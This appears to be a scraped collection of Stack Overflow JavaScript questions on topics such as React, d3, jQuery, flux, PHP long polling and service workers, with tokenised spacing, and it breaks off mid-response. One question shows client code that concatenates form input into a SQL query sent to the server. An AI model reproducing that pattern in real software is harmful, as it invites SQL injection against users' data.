'' ? chats.forEach ( chat = > { let message = Messages.findOne ( { chatId : { $ exists : false } } ) ; chat.lastMessage = message ; let chatId = Chats.insert ( chat ) ; Messages.update ( message._id , { $ set : { chatId : chatId } } ) } ) ;",What does it mean equal and greater-than sign ( = > ) in Javascript ? "JS : Is it OK ( I mean security reasons ) to pass database query ( select or update or whatever ) to the server side as parameter ( like , I read the values of the form fields , form a query string in javascript and pass the formed string to the server as a parameter ) : orOr should I pass to the server only parameters , not full queries , and make prepared statement there ? And surely , I can check the validity of the field values before I send the request to the server . $ .ajax ( { url : `` servletURL '' , type : `` post '' , data : { query : `` select name , last_name from employees '' } , success : //do things } ) ; var name = document.getElementById ( 'name ' ) .value ; var last_name = document.getElementById ( 'last_name ' ) .value ; $ .ajax ( { url : `` servletURL '' , type : `` post '' , data : { query : `` select * from employees where name= '' +name+ '' and last_name= '' +last_name } , success : //do things } ) ;",Pass select query from the client side "JS : I have a component in JavaScript that will provide an < svg > element to its host . I want to populate the SVG element using d3.js.If I let d3.js create the SVG element and add it to the < body > , then things work as expected : However I already have an SVG element . I want my code to more closely resemble : This latter approach populates the SVG element ( as seen in the elements panel of Chrome 's developer tools ) but it does not render properly.Am I going about this incorrectly ? I do n't mind if d3 creates the SVG element , so long as it does n't attach it to the DOM and I can access it.EDIT I 've created a jsFiddle that reproduces my problem . You can toggle the APPROACH variable between 1 and 2 to see alternate approaches . I see this issue in both Chrome and Firefox ( latest versions on Ubuntu 13.04 . ) EDIT 2 I 've created a screenshot showing the working and non-working versions side by side : You can see that the element trees are largely the same . However on the non-working version ( left ) the Styles panel ( to the right of the element tree ) is missing some user agent rules . I have no idea why this should be different . I 'd suggest it was a bug in Chrome , but the same behaviour is visible in Firefox . var chart = d3.select ( 'body ' ) .append ( 'svg ' ) ; var svg = document.createElement ( 'svg ' ) , chart = d3.select ( svg ) ;","Creating a d3 selection over an existing , detached SVG element" "JS : i 'm trying to create a simple calculator , when a button is clicked its value is shown in the text field and the button `` C '' should clear the text field but its onclick= '' clear ( ) '' is not working ? ? < % @ page contentType= '' text/html '' pageEncoding= '' UTF-8 '' % > < ! DOCTYPE html > < html > < head > < meta http-equiv= '' Content-Type '' content= '' text/html ; charset=UTF-8 '' > < title > Calculator < /title > < style > # button { padding : 10px ; } < /style > < script > function fill ( val ) { document.getElementById ( `` field '' ) .value+=val ; } function clear ( ) { document.getElementById ( `` field '' ) .value= '' '' ; } < /script > < /head > < body > < form > < table > < tr > < input type= '' text '' name= '' field '' id= '' field '' size= '' 8 '' / > < /tr > < % ! int k = 1 ; % > < % for ( int i=0 ; i < 3 ; i++ ) { % > < tr > < % for ( int j=0 ; j < 3 ; j++ ) { % > < td > < input type= '' button '' id= '' button '' onclick= '' fill ( this.value ) '' value= '' < % =k++ % > '' / > < /td > < % } % > < /tr > < % } % > < tr > < ! -- here onclick= '' clear ( ) '' is not working ? ? -- > < td > < input type= '' button '' id= '' button '' value= '' C '' onclick= '' clear ( ) '' / > < /td > < td > < input type= '' button '' id= '' button '' value= '' 0 '' onclick= '' fill ( this.value ) '' < /td > < td > < input type= '' submit '' id= '' button '' value= '' = '' < /td > < /tr > < /table > < /form > < /body > < /html >",Why ca n't I call a function named clear from an onclick attribute ? "JS : What I am trying to achieve is so that a marquee plays once when I click the button . My problem is that if I set the loop to 1 then it only plays once and then does nothing . My other problem is that it stops midway with my current code if I let go of the left mouse button . Or it stops where it was . Is there any way to make it either play once when the button is pressed and then play again whenever the button is pressed again and allow it to complete the loop completely . Here is the code , I am open to using java script instead of html . Here is my current code : < marquee behavior= '' scroll '' direction= '' up '' scrollamount= '' 30 '' id= '' marquee '' height= '' 40 '' > < p > +1 < /p > < /marquee > < input type= '' button '' id= '' gather '' class= '' build '' Value= '' play '' onmousedown= '' document.getElementById ( 'marquee ' ) .start ( ) . '' onmouseup= '' document.getElementById ( 'marquee ' ) .stop ( ) '' onload= '' document.getElementById ( 'marquee ' ) .stop ( ) '' >",How to make a marquee cycle once at a button click ? JS : I have created an < input > HTML element using Javascript . Now I want to add an onblur event handler to this element dynamically . However I do not understand how I can pass the created element as an argument to the function . Here 's my code : In the above code you can see that the element is created . Now I want to pass that element to hello_function . How can I do that ? element = document.createElement ( `` input '' ) ; element.onblur = hello_function ; function hello_function ( element ) { alert ( element ) ; },How can we pass an element to event handler in javascript "JS : I am using reactjs and the flux architecture in a project I 'm working on . I am a bit puzzled by how to break up nested data correctly into stores and why I should split up my data into multiple stores.To explain the problem I 'll use this example : Imagine a Todo application where you have Projects . Each project has tasks and each task can have notes.The application uses a REST api to retrieve the data , returning the following response : The fictive application 's interface displays a list of projects on the left and when you select a project , that project becomes active and its tasks are displayed on the right . When you click a task you can see its notes in a popup.What I would do is use 1 single store , the `` Project Store '' . An action does the request to the server , fetches the data and instructs the store to fill itself with the new data . The store internally saves this tree of entities ( Projects - > Tasks - > Notes ) .To be able to show and hide tasks based on which project is selected I 'd also keep a variable in the store , `` activeProjectId '' . Based on that the view can get the active project , its tasks and render them.Problem solved.However : after searching a bit online to see if this is a good solution I see a lot of people stating that you should use a separate store per entity.This would mean : A ProjectStore , TaskStore and NoteStore . To be able to manage associations I would possibly also need a `` TasksByProjectStore '' and a `` NotesByTaskStore '' .Can someone please explain why this would be better ? The only thing I see is a lot of overhead in managing the stores and the data flow . { projects : [ { id : 1 , name : `` Action Required '' , tasks : [ { id : 1 , name : `` Go grocery shopping '' , notes : [ { id : 1 , name : `` Check shop 1 '' } , { id : 2 , name : `` Also check shop 2 '' } ] } ] } , ] }",Why use one store per entity in the flux application architecture ? "JS : I 'm struggling with what is probably a very simple bit of jQueryI have html like this : I have some javascript which needs to do something based on the star rating of each of these elements and currently looks like this : I want to replace < value of data-star-rating > with the value of the data attribute relating to the element currently being processedI thought this would work $ ( this ) .data ( 'starRating ' ) but it does n't seem toHow can I access the value of the data attribute in this situation ? < div class= '' star-rating '' data-star-rating= '' 5.0 '' > < /div > < div class= '' star-rating '' data-star-rating= '' 2.0 '' > < /div > $ ( '.star-rating ' ) .jRate ( { startColor : ' # ccc ' , endColor : ' # ccc ' , readOnly : true , rating : < value of data-star-rating > } ) ;",How to access data attribute using jQuery "JS : I am using react-navigation Tab Navigation . I have a header above my tab navigation and it can collapse and expand corresponding to the scrollView . This is my problem : When I scroll all the way up , the header will collapse and thats what I want but the tabBar will stay static ( Please see the photo ) . Is there a way I could set the tabBar margin corresponding to the scrollview ? So that there is no marginTop when the header is collapsed.I also tried marginTop to this.AnimatedHeaderValue but does n't seem to work . Any advise or comments would be really helpful . const Header_Maximum_Height = 40 ; const Header_Minimum_Height = 0 ; export default class App extends Component { render ( ) { return ( < View style= { { flex:1 , marginTop:30 } } > < AppContainer/ > < /View > ) } } class HomeScreen extends Component { constructor ( ) { super ( ) ; this.AnimatedHeaderValue = new Animated.Value ( 0 ) ; } render ( ) { const AnimateHeaderBackgroundColor = this.AnimatedHeaderValue.interpolate ( { inputRange : [ 0 , ( Header_Maximum_Height - Header_Minimum_Height ) ] , outputRange : [ ' # 009688 ' , ' # 00BCD4 ' ] , extrapolate : 'clamp ' } ) ; const AnimateHeaderHeight = this.AnimatedHeaderValue.interpolate ( { inputRange : [ 0 , ( Header_Maximum_Height - Header_Minimum_Height ) ] , outputRange : [ Header_Maximum_Height , Header_Minimum_Height ] , extrapolate : 'clamp ' } ) ; return ( < SafeAreaView style= { { flex:1 } } > < Animated.View style= { { height : AnimateHeaderHeight , width : '100 % ' , backgroundColor : 'gray ' } } > < Text style= { { color : 'white ' } } > Collapsible Expandable Header < /Text > < /Animated.View > < Animated.ScrollView scrollEventThrottle = { 16 } onScroll = { Animated.event ( [ { nativeEvent : { contentOffset : { y : this.AnimatedHeaderValue } } } ] ) } > < ImageBackground style= { { width:375 , height:400 } } source= { require ( './assets/pizza.jpg ' ) } > < /ImageBackground > < /Animated.ScrollView > < /SafeAreaView > ) ; } } const tabBarHeight = 100 const AppTabNavigator = createMaterialTopTabNavigator ( { Home : { screen : HomeScreen , navigationOptions : { header : null , tabBarVisible : true , activeTintColor : ' # e91e63 ' , } } , { tabBarOptions : { showLabel : true , style : { backgroundColor : 'rgba ( 22 , 22 , 22 , 0 ) ' , position : 'absolute ' , Top : Dimensions.get ( 'window ' ) .height-tabBarHeight , left:0 , right:0 , //I initially set the margin to 45 but as I scroll up How can I set the marginTop to 0 when I reach the top screen . marginTop:45 } , labelStyle : { fontSize:15 , color : '' white '' } } } )",react-navigation How to set tabBar margin corresponding to Animated Value "JS : I am reading the syntax for using dojo 's declare for class creation . The description is confusing : The syntax is exactly the same for creating a non-named class and a class with no superclass : I expect the syntax for a class without any super class and without any name to be like this : I am coming from a typed language background , so perhaps I 've misunderstood how this works in JavaScript . I fail to understand how someone reading the code ( without any comments ) would know the difference between the two , if the tutorials syntax is correct.I would have expected the syntax to be something like this : Maybe this is verbose , but at least it is easy to tell what each parameter is for . The declare function is defined in the dojo/_base/declare module . declare accepts three arguments : className , superClass , and properties.ClassNameThe className argument represents the name of the class , including the namespace , to be created . Named classes are placed within the global scope . The className can also represent the inheritance chain via the namespace.Named Class// Create a new class named `` mynamespace.MyClass '' declare ( `` mynamespace.MyClass '' , null , { // Custom properties and methods here } ) ; A class named mynamespace.MyClass is now globally available within the application.Named classes should only be created if they will be used with the Dojo parser . All other classes should omit the className parameter . `` Anonymous '' Class// Create a scoped , anonymous classvar MyClass = declare ( null , { // Custom properties and methods here } ) ; The MyClass is now only available within its given scope.SuperClass ( es ) The SuperClass argument can be null , one existing class , or an array of existing classes . If a new class inherits from more than one class , the first class in the list will be the base prototype , the rest will be considered `` mixins '' .Class with No Inheritancevar MyClass = declare ( null , { // Custom properties and methods here } ) ; null signifies that this class has no classes to inherit from.Class Inheriting from Another Classvar MySubClass = declare ( MyClass , { // MySubClass now has all of MyClass 's properties and methods // These properties and methods override parent 's } ) ; var MyClass = declare ( null , { // Custom properties and methods here } ) ; var MyClass = declare ( null , null , { // Custom properties and methods here } ) ; /*class without a name : */ declare ( null , SuperClass , { } ) /*class without a name or super class : */ declare ( null , null , { } ) /*class with a name but no super class : */ declare ( `` ClassName '' , null , { } )",Explain this confusing dojo tutorial syntax for declare "JS : I saw someone use 0 instead of an empty array for the second argument in useEffect.So instead ofit wasIt seems to have the same effect so I 'm wondering why he used that ? An empty array is considered 0 depending on how you evaluate it . For instance [ ] == 0 is true , but [ ] === 0 is false . So maybe in this case there is n't a strict comparison under the hood and it does not matter if you use 0.Just following the react docs i would use an empty array.React docs : If you want to run an effect and clean it up only once ( on mount andunmount ) , you can pass an empty array ( [ ] ) as a second argument . Thistells React that your effect doesn ’ t depend on any values from propsor state , so it never needs to re-run . This isn ’ t handled as a specialcase — it follows directly from how the dependencies array alwaysworks.I 'm wondering if 0 is a potentially more concise binary argument to use over [ ] , or if using 0 is a bad practice , or if it does n't matter and [ ] is just a preferred React convention ? Thanks . useEffect ( ( ) = > { console.log ( 'Run once ' ) ; } , [ ] ) ; useEffect ( ( ) = > { console.log ( 'Run once ' ) ; } , 0 ) ;",React Hooks - 0 vs. empty array as second argument in useEffect "JS : First I would like to appreciate all of you great people for being so helpful to new programmers.I have a question about long polling . I have studied some articles about Long polling technique of Comet Programming . The method seems a lot difficult to me because it also sometimes requires installing some scripts on the server side . Now I have found an example on long polling . Its working great but I am not sure if it is the proper method . The example script is about a chat-like application . This php script works as follows : The php script checks the data.txt file continuously until it is changed.As soon as the data.txt is changed , the new text is outputted on the webpage.Here is the php script : I am not including the webpage code to keep the question simple . The webpage has just a div which shows the text of data.txt whenever it is changed.Main points of my question are : Is this looping method the proper method to long poll the server ? Also when the server is executing sleep ( ) ; what will happen to other simultaneous requests ? Is there any technique to reduce the load on server due to long polling 's continuous script ? If a client starting this long poll request disconnects , how can we know and stop the script for that disconnected client accordingly ? Kindly guide me with this problem ... Thanks < ? php $ filename = dirname ( __FILE__ ) . '/data.txt ' ; // store new message in the file $ msg = isset ( $ _GET [ 'msg ' ] ) ? $ _GET [ 'msg ' ] : `` ; if ( $ msg ! = `` ) { file_put_contents ( $ filename , $ msg ) ; die ( ) ; } // infinite loop until the data file is not modified $ lastmodif = isset ( $ _GET [ 'timestamp ' ] ) ? $ _GET [ 'timestamp ' ] : 0 ; $ currentmodif = filemtime ( $ filename ) ; while ( $ currentmodif < = $ lastmodif ) // check if the data file has been modified { usleep ( 500000 ) ; // sleep 500ms to unload the CPU clearstatcache ( ) ; $ currentmodif = filemtime ( $ filename ) ; } // return a json array $ response = array ( ) ; $ response [ 'msg ' ] = file_get_contents ( $ filename ) ; $ response [ 'timestamp ' ] = $ currentmodif ; echo json_encode ( $ response ) ; flush ( ) ; ? >",Is this the proper method to Long Polling ( Comet programming ) JS : `` The absolutely positioned element is positioned relative to nearest positioned ancestor . '' -MDN : position - CSSI understood this when there was a parent who was defined as position : relative ; but what I did n't realize was that position : absolute technically qualified as a `` positioned ancestor '' .Here is a sample : http : //jsfiddle.net/MSzZG/ It would be nice if the text `` At top '' could have the top property apply to the window instead of the containing div but I just can not figure out if it is possible to bypass.Is there any way to bypass a previously positioned absolute element ( without using fixed ) ? A javascript solution is acceptable . < div > < div > Content < /div > < /div > < div style= '' position : absolute ; '' > < div style= '' position : absolute ; top:0px ; '' > At top < /div > < /div >,Possible to bypass then nearest positioned ancestor ? "JS : I could be mistaken but by looking at typescripts playground I noticed that they wrap their classe 's methods together with the object variable which feels like it may reduce performance every time I call a new object.e.g . Typescript Playground Output of ClassI feel that if I write massive methods , each time I create a new object from the class I will also be compiling these massive methods.Rather than declaring the methods outside the function name when I create new objects.e.g . old way : Can anyone clarify if : A : I am loading 4 types of functions in memory in the typescript example ( or overwriting them since prototype is used - I 'm still shakey with my understanding of prototype ) .B : If more compiler work is happening with Typescript wrapping the methods together ? Thanks var FatObject = ( function ( ) { function FatObject ( thing ) { this.objectProperty = 'string ' ; this.anotherProp = thing ; } FatObject.prototype.someMassivMethod = function ( ) { //many lines of code // ... // ... // ... // ... ... ... ... ... ... ... .. } ; return FatObject ; } ( ) ) ; var thing = 'example ' ; var objOne = new FatObject ( thing ) ; var objTwo = new FatObject ( thing ) ; var objThree = new FatObject ( thing ) ; var objFour = new FatObject ( thing ) ; function ThinObj ( thing ) { this.anotherProp = thing ; this.objectProperty = 'string ' ; } ThinObj.prototype.someMassivMethod = function ( ) { //many lines of code // ... // ... // ... // ... ... ... ... ... ... } const thing = 'example'let objOne = new ThinObj ( thing ) ; let objTwo = new ThinObj ( thing ) ; let objThree = new ThinObj ( thing ) ; let objFour = new ThinObj ( thing ) ;",Are Typescript class objects slower in performance by wrapping together their methods ? "JS : If I have an array of items , such as , How can I map it , so that the screen/page renders , I was able to get it to kind of work horizontally with , But I am unable to get it to work vertically . How can I do this ? Edit : The suggested solution from another answer returns subarrays , which is not what I had asked in this question . const array = [ 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 10 , 11 , 12 , 13 , 14 , 15 , 16 , 17 , 18 ] 1 6 11 162 7 12 173 8 13 184 9 145 10 15 const chunkSize = 5 ; array .map ( ( e , i ) = > { return i % chunkSize === 0 ? selected.slice ( i , i + chunkSize ) : null ; } ) .filter ( e = > e ) ;",How to map an array vertically into columns ? "JS : I am having an issue with Bootstrap 4.1 modals displayed within iframes in Safari on iOS 12 . Every other browser tested works as expected ( even Safari on iOS 11 ) . The issue seems to be specific to iOS 12 . I have created a minimal example demonstrating the issue . The first two buttons seem to function as expected , however the last 4 you can see the issue , with each one being worse as you traverse downward , where the last one disappearing all together when you attempt to scroll or focus on an element inside of the modal ( see below screenshots ) : I will note that we are handling this functionality in a way that may be a tad unorthodox , as instead of allowing the content of the iframe to scroll , we adjust it 's height after it has loaded by passing messages between parent and child via a message event handler and postMessage : https : //developer.mozilla.org/en-US/docs/Web/API/Window/postMessageThis is where I suspect something has gone afoul ( but have yet been able to track it down ( and as mentioned previously this is only an issue on ios devices running version 12 ) ) .EditIt has recently been discovered that this issue is not specific to Safari on iOS 12 , but chrome as well.Code below is from the previous minimal example link : Parent ( /modal-test/index.html ) : Child ( /modal-test/frameable.html ) < ! DOCTYPE html > < html lang= '' en '' > < head > < meta charset= '' UTF-8 '' > < meta name= '' viewport '' content= '' width=device-width , initial-scale=1 , shrink-to-fit=no '' > < title > Title < /title > < link rel= '' stylesheet '' href= '' ./bootstrap.min.css '' > < script src= '' ./jquery.min.js '' > < /script > < script src= '' ./popper.min.js '' > < /script > < script src= '' ./bootstrap.min.js '' > < /script > < script > $ ( document ) .ready ( function ( ) { $ ifCon = $ ( `` # ifCon '' ) ; window.addEventListener ( `` message '' , function ( event ) { if ( event.data.method === `` returnWindowSize '' ) { $ ifCon.height ( event.data.content ) ; } } , false ) ; } ) ; < /script > < style > # ifCon { display : flex ; width : 100 % ; height : 100 % ; flex-direction : column ; background-color : # F2F2F2 ; overflow : hidden ; border-radius:10px ; border:1px solid grey ; margin-left : auto ; margin-right : auto ; /*box-shadow:2px 2px 3px # 000 ; */ box-shadow : 0px 1px 3px 0px rgba ( 0,0,0,0.75 ) ; } # ifCon iframe { flex-grow : 1 ; border : none ; margin : 0 ; padding : 0 ; } < /style > < /head > < body > < div class= '' container '' > < div class= '' row '' > < div class= '' col text-center '' > < div id= '' ifCon '' > < iframe height= '' 100 % '' width= '' 100 % '' scrolling= '' no '' src= '' /modal-test/frameable.html '' > < /iframe > < /div > < /div > < /div > < /div > < /body > < /html > < ! DOCTYPE html > < html lang= '' en '' > < head > < meta charset= '' UTF-8 '' > < meta name= '' viewport '' content= '' width=device-width , initial-scale=1 , shrink-to-fit=no '' > < title > Title < /title > < link rel= '' stylesheet '' href= '' ./bootstrap.min.css '' > < script src= '' ./jquery.min.js '' > < /script > < script src= '' ./popper.min.js '' > < /script > < script src= '' ./bootstrap.min.js '' > < /script > < script > var $ embedContent , modalState ; $ ( document ) .ready ( function ( ) { $ embedContent = $ ( ' # embedContent ' ) ; parent.postMessage ( { method : '' returnWindowSize '' , content : $ embedContent.height ( ) } , '* ' ) ; $ ( '.modal ' ) .on ( 'shown.bs.modal ' , function ( e ) { modalState = { id : $ ( this ) .attr ( 'id ' ) , contentElement : $ ( this ) .find ( '.modal-content ' ) , initialContentContainerHeight : $ embedContent.height ( ) , invokerElement : $ ( e.relatedTarget ) } ; adjustModal ( ) ; } ) ; $ ( '.modal ' ) .on ( 'hidden.bs.modal ' , function ( e ) { modalState = null ; $ ( this ) .find ( '.modal-content ' ) .css ( `` margin-top '' , `` 0px '' ) ; $ embedContent.css ( 'height ' , 'auto ' ) ; parent.postMessage ( { method : '' returnWindowSize '' , content : $ embedContent.height ( ) } , '* ' ) ; } ) ; } ) ; function adjustModal ( ) { if ( modalState.contentElement.css ( 'margin-top ' ) ! == modalState.invokerElement.offset ( ) .top ) { modalState.contentElement.animate ( { 'margin-top ' : modalState.invokerElement.offset ( ) .top } , 200 , `` linear '' ) ; } if ( // modal position + modal height is greater than or equal to the height of the embedContent so we need to resize the // embedContent ( make it taller ) ( ( modalState.invokerElement.offset ( ) .top + modalState.contentElement.height ( ) ) > = $ embedContent.height ( ) ) || // modal position + modal height is less than or equal to the height of the embedContent AND the current height of the // embedContent is greater than or equal to the size of the embedContent height when the modal was originally shown ( ( ( modalState.invokerElement.offset ( ) .top + modalState.contentElement.height ( ) ) < = $ embedContent.height ( ) ) & & ( $ embedContent.height ( ) > modalState.initialContentContainerHeight ) ) ) { var newEmbedContentHeight = modalState.invokerElement.offset ( ) .top + modalState.contentElement.height ( ) + 30 ; $ embedContent.height ( newEmbedContentHeight ) ; parent.postMessage ( { method : '' returnWindowSize '' , content : newEmbedContentHeight } , '* ' ) ; } } < /script > < /head > < body > < div id= '' embedContent '' class= '' container '' > < div class= '' row '' style= '' height:200px ; margin-top:100px ; '' > < div class= '' col text-center '' > < button id= '' btn1 '' type= '' button '' class= '' btn btn-primary '' data-toggle= '' modal '' data-target= '' # exampleModal '' > Launch demo modal < /button > < /div > < /div > < div class= '' row '' style= '' height:200px ; '' > < div class= '' col text-center '' > < button id= '' btn2 '' type= '' button '' class= '' btn btn-primary '' data-toggle= '' modal '' data-target= '' # exampleModal '' > Launch demo modal < /button > < /div > < /div > < div class= '' row '' style= '' height:200px ; '' > < div class= '' col text-center '' > < button id= '' btn3 '' type= '' button '' class= '' btn btn-primary '' data-toggle= '' modal '' data-target= '' # exampleModal '' > Launch demo modal < /button > < /div > < /div > < div class= '' row '' style= '' height:200px ; '' > < div class= '' col text-center '' > < button id= '' btn3 '' type= '' button '' class= '' btn btn-primary '' data-toggle= '' modal '' data-target= '' # exampleModal '' > Launch demo modal < /button > < /div > < /div > < div class= '' row '' style= '' height:200px ; '' > < div class= '' col text-center '' > < button id= '' btn3 '' type= '' button '' class= '' btn btn-primary '' data-toggle= '' modal '' data-target= '' # exampleModal '' > Launch demo modal < /button > < /div > < /div > < div class= '' row '' style= '' height:200px ; '' > < div class= '' col text-center '' > < button id= '' btn3 '' type= '' button '' class= '' btn btn-primary '' data-toggle= '' modal '' data-target= '' # exampleModal '' > Launch demo modal < /button > < /div > < /div > < /div > < div class= '' modal fade '' id= '' exampleModal '' tabindex= '' -1 '' role= '' dialog '' aria-labelledby= '' exampleModalLabel '' aria-hidden= '' true '' data-focus= '' false '' style= '' overflow-y : hidden ; '' > < div class= '' modal-dialog '' role= '' document '' > < div class= '' modal-content '' style= '' margin-top:500px ; '' > < div class= '' modal-header '' > < h5 class= '' modal-title '' id= '' exampleModalLabel '' > Modal title < /h5 > < button type= '' button '' class= '' close '' data-dismiss= '' modal '' aria-label= '' Close '' > < span aria-hidden= '' true '' > & times ; < /span > < /button > < /div > < div class= '' modal-body '' > < form > < div class= '' form-group '' > < label for= '' exampleFormControlInput1 '' > Email address < /label > < input type= '' email '' class= '' form-control '' id= '' exampleFormControlInput1 '' placeholder= '' name @ example.com '' > < /div > < div class= '' form-group '' > < label for= '' exampleFormControlInput1 '' > Email address < /label > < input type= '' email '' class= '' form-control '' id= '' exampleFormControlInput1 '' placeholder= '' name @ example.com '' > < /div > < div class= '' form-group '' > < label for= '' exampleFormControlSelect1 '' > Example select < /label > < select class= '' form-control '' id= '' exampleFormControlSelect1 '' > < option > 1 < /option > < option > 2 < /option > < option > 3 < /option > < option > 4 < /option > < option > 5 < /option > < /select > < /div > < div class= '' form-group '' > < label for= '' exampleFormControlSelect1 '' > Example select < /label > < select class= '' form-control '' id= '' exampleFormControlSelect1 '' > < option > 1 < /option > < option > 2 < /option > < option > 3 < /option > < option > 4 < /option > < option > 5 < /option > < /select > < /div > < div class= '' form-group '' > < label for= '' exampleFormControlSelect1 '' > Example select < /label > < select class= '' form-control '' id= '' exampleFormControlSelect1 '' > < option > 1 < /option > < option > 2 < /option > < option > 3 < /option > < option > 4 < /option > < option > 5 < /option > < /select > < /div > < div class= '' form-group '' > < label for= '' exampleFormControlSelect1 '' > Example select < /label > < select class= '' form-control '' id= '' exampleFormControlSelect1 '' > < option > 1 < /option > < option > 2 < /option > < option > 3 < /option > < option > 4 < /option > < option > 5 < /option > < /select > < /div > < /form > < /div > < div class= '' modal-footer '' > < button type= '' button '' class= '' btn btn-secondary '' data-dismiss= '' modal '' > Close < /button > < button type= '' button '' class= '' btn btn-primary '' > Save changes < /button > < /div > < /div > < /div > < /div > < /body > < /html >",Bootstrap modal Iframe in iOS 12 hidden behind content "JS : What I 'm trying to doI 'm programming a currency converter , and to not have to manually update the current currency , I get the current value from another website trough AJAX and Whatever Origin ( to allow access to another domain ) . I tested it in a separated page and it worked perfectly , i.e . showed the current currency . However , when I inserted it in the actual code of the converter ... The error ... any console accuses illegal character inside the jQuery file , even if I link to Google 's library : Wherever I put it ( in the beginning , middle or end ) , the same error happens , but only if I insert my code there , if I only link the jQuery file , no errors are showed.The codeThe page I 'm trying to move to : here.The working test page : here.I do n't even have a clue of what is happening.. SyntaxError : illegal character jquery.min.js:1:4 ReferenceError : $ is not defined Converter.html:75:0 $ .getJSON ( 'http : //whateverorigin.org/get ? url= ' + encodeURIComponent ( 'http : //usd.fx-exchange.com/brl/ ' ) + ' & callback= ? ' , function ( data ) { currency = $ ( '.today_s ' , data.contents ) .html ( ) ; currency = currency.match ( /\d\.\d\d\d\d/ ) ; } ) ;","`` Illegal character '' in the jQuery library file , even without an invisible character or a missing quote anywhere" "JS : I came across an example from eslint documentation on arrow function : So I researched a bit regarding the precedence of arrow functions . It seems that = > is not considered an operator , as it can not be found on the table of operator precedence on MDN . And from the page arrow functions , it says that arrow functions have special parsing rules that interact differently with operator precedence compared to regular functions.But it does not further elaborate on the special parsing rules . So my question is , what is the rule of precedence regarding arrow functions ? Based on my test , it seems that its precedence is higher than an assignment , but lower than the conditional ( ternary ) operator ? But I 'm not sure if this is consistent on different browsers and platforms . Can anyone give a definitive answer to this behavior ? // The intent is not clearvar x = a = > 1 ? 2 : 3 ; var x = 0 , a = 5 ; console.log ( x = a = > 1 ? 2 : 3 ) ; // same as x = ( a = > ( 1 ? 2 : 3 ) ) console.log ( x ) ; console.log ( a ) ;",What is the exact parsing precedence of arrow function ( fat arrow = > ) in Javascript ? "JS : I 'm trying to generate a JSP page , and since the template delimiters used by JSP 's are the same as the ones used by underscore.looking at the docs -- > https : //github.com/gruntjs/grunt/wiki/grunt.template # wiki-grunt-template-setDelimiters i can see they have a function for thatTwo questions : Where would i call that function ? Can i change the delimiters only for a grunt.template.process ( ) ( i have more than one , and for other non .jsp templates , the default delimiters are fine ) ? Any help is appreciated . Thanks . grunt.template.addDelimiters ( name , opener , closer )",Gruntjs changing underscore template delimiters "JS : I have this very simple example that works as expected : https : //jsfiddle.net/x1suxu9h/However , when adding another form field , the onSubmit is not triggered anymore when pressing the enter key : https : //jsfiddle.net/nyvt6506/Am I missing the obvious here ? var Hello = React.createClass ( { getInitialState : function ( ) { return { msg : `` } } , onSubmit : function ( e ) { e.preventDefault ( ) ; this.setState ( { msg : 'submitted ' } ) } , render : function ( ) { return ( < form onSubmit= { this.onSubmit } > < input type= '' text '' / > < div > { this.state.msg } < /div > < /form > ) } } ) ; var Hello = React.createClass ( { getInitialState : function ( ) { return { msg : `` } } , onSubmit : function ( e ) { e.preventDefault ( ) ; this.setState ( { msg : 'submitted ' } ) } , render : function ( ) { return ( < form onSubmit= { this.onSubmit } > < input type= '' text '' / > < input type= '' text '' / > < div > { this.state.msg } < /div > < /form > ) } } ) ;",Multiple react form inputs disables the onSubmit "JS : The question is the title . I 'm trying to get a deeper understanding of promises and I think I 've figured out how Promise.resolve ( thenable ) works , or at least mostly how it works , looking at the examples on MDN . I 'm wondering if there 's a difference between the two . I whipped up this example to show them behaving the same , in way that I would think would show differences in behaviour if there was going to be any . But obviously this test alone is n't good enough to conclude there 's nothing different about them , so I 've come here . let thenable = { then ( resolve ) { setTimeout ( ( ) = > { resolve ( ( ( ) = > { console.log ( 'test ' ) ; return thenable ; } ) ( ) ) ; } , 1000 ) ; } , } ; let p1 = Promise.resolve ( thenable ) ; let p2 = new Promise ( thenable.then ) ;",What is the difference between Promise.resolve ( thenable ) and new Promise ( thenable.then ) ? "JS : Here is a component : Here is a wrapper/higher-order-component : Here is a functional component that wraps MyComponent in withSomething : Result : props-related lifecycle functions ( such as componentWillReceiveProps ) in MyComponent never fire , even when I update the props.What is up with this ? Do props-based lifecycle methods not work on wrapped components ? export default class MyComponent extends React.Component { componentWillReceiveProps ( newProps ) { console.log ( 'RECEIVED PROPS ' ) ; } render ( ) { return < div > { this.props.foo } < /div > } } const withSomething = ( ComponentToWrap ) = > { render ( ) { return < ComponentToWrap { ... this.props } / > } } export default function WrappedComponent ( props ) { const Component = withSomething ( MyComponent ) ; return < Component ... some props ... / > }",React js lifecycle methods not firing on wrapped component "JS : What Am I doing wrong in my below code ? I am trying to extend Array on my class MyNumberList and then trying to use it . What I see is that no items seem to be getting added to the list . I get an undefined when I attempt to access the list elements.P.S I am using TypeScript 1.8.2 class MyNumberList extends Array < number > { constructor ( ... numbers : number [ ] ) { // looks like this is not working super ( ... numbers ) ; } } let statusCodes : MyNumberList = new MyNumberList ( 10 , 20 , 30 ) ; console.log ( statusCodes [ 0 ] ) ; // printing undefinedconsole.log ( statusCodes.length ) ; // printing 0",Extending Array from TypeScript "JS : I have been toying around with service workers and sw-toolbox . Both are great methods but seems to have their weaknesses.My project started out using Google 's method of service workers ( link ) . The way I see this is that you have to manually update the version number for cache busting . I could be wrong also but I do n't think the pages that the users has visited will not be cached.Compared to the sw-toolbox method , all I need to add is the following code : Then the problem of caching pages will be solved . Here is my issue : after applying the sw-toolbox to my project , the old service worker does n't get cleared or replaced by the new one unless I go to the dev tools to clear it . Any ideas how to get around this ? self.toolbox.router.default = self.toolbox.networkFirst ; self.toolbox.router.get ( '/ ( . * ) ' , function ( req , vals , opts ) { return self.toolbox.networkFirst ( req , vals , opts ) .catch ( function ( error ) { if ( req.method === 'GET ' & & req.headers.get ( 'accept ' ) .includes ( 'text/html ' ) ) { return self.toolbox.cacheOnly ( new Request ( OFFLINE_URL ) , vals , opts ) ; } throw error ; } ) ; } ) ;",How to cache bust sw-toolbox ? "JS : I 'm having some problems with a weird HTTP status code in MSIE8.I send an HTTP GET to the following URL : From Fiddler , I can see that I 'm getting the following Raw response : This was generated using the following Perl : I 'm using jQuery to access it , in the following way : Finally , I have the following to help with debug : This all works fine in Firefox and Chrome , but in MSIE , where I normally get a status of 302 in response to my request for snap.pl , I 'm getting a response of 12150 . The best hit I 've found is on MSDN , which suggests that this is ERROR_HTTP_HEADER_NOT_FOUND ... but the Headers look good to me.I ca n't figure out what 's going wrong here ... does anyone see anything that I may be overlooking ? /cgi-bin/objectBrowser/snap.pl ? file_key=28 HTTP/1.1 302 FoundDate : Fri , 27 May 2011 20:24:38 GMTServer : 